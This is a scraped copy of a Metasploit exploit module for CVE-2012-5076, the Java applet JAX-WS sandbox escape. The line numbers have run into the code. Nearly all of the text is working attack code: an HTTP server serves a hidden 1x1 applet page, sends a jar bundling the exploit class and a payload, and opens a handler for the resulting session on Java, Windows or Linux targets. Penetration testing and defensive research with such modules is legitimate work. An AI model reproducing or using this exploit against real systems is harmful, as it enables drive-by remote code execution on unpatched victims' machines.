Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/java_jre17_jaxws.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910#include Msf::Exploit::Remote::BrowserAutopwn11#autopwn_info({ :javascript => false })1213def initialize( info = {} )14super( update_info( info,15'Name' => 'Java Applet JAX-WS Remote Code Execution',16'Description' => %q{17This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java18code outside of the sandbox as exploited in the wild in November of 2012. The19vulnerability affects Java version 7u7 and earlier.20},21'License' => MSF_LICENSE,22'Author' =>23[24'Unknown', # Vulnerability Discovery25'juan vazquez' # metasploit module26],27'References' =>28[29[ 'CVE', '2012-5076' ],30[ 'OSVDB', '86363' ],31[ 'BID', '56054' ],32[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],33[ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ],34[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2012/11/15/a-technical-analysis-on-new-java-vulnerability-cve-2012-5076.aspx' ]35],36'Platform' => %w{ java win },37'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },38'Targets' =>39[40[ 'Generic (Java Payload)',41{42'Arch' => ARCH_JAVA,43}44],45[ 'Windows Universal',46{47'Arch' => ARCH_X86,48'Platform' => 'win'49}50],51[ 'Linux x86',52{53'Arch' => ARCH_X86,54'Platform' => 'linux'55}56]57],58'DefaultTarget' => 0,59'DisclosureDate' => '2012-10-16'60))61end626364def on_request_uri( cli, request )65if not request.uri.match(/\.jar$/i)66if not request.uri.match(/\/$/)67send_redirect(cli, get_resource() + '/', '')68return69end7071print_status("#{self.name} handling request")7273send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )74return75end7677paths = [78[ "Exploit.class" ],79[ "MyPayload.class" ]80]8182p = regenerate_payload(cli)8384jar = p.encoded_jar8586paths.each do |path|871.upto(path.length - 1) do |idx|88full = path[0,idx].join("/") + "/"89if !(jar.entries.map{|e|e.name}.include?(full))90jar.add_file(full, '')91end92end93fd = File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2012-5076", path ), "rb")94data = fd.read(fd.stat.size)95jar.add_file(path.join("/"), data)96fd.close97end9899print_status("Sending Applet.jar")100send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )101102handler( cli )103end104105def generate_html106jar_name = rand_text_alpha(rand(6)+3) + ".jar"107html = "<html><head></head>"108html += "<body>"109html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"110html += "</applet></body></html>"111return html112end113end114115116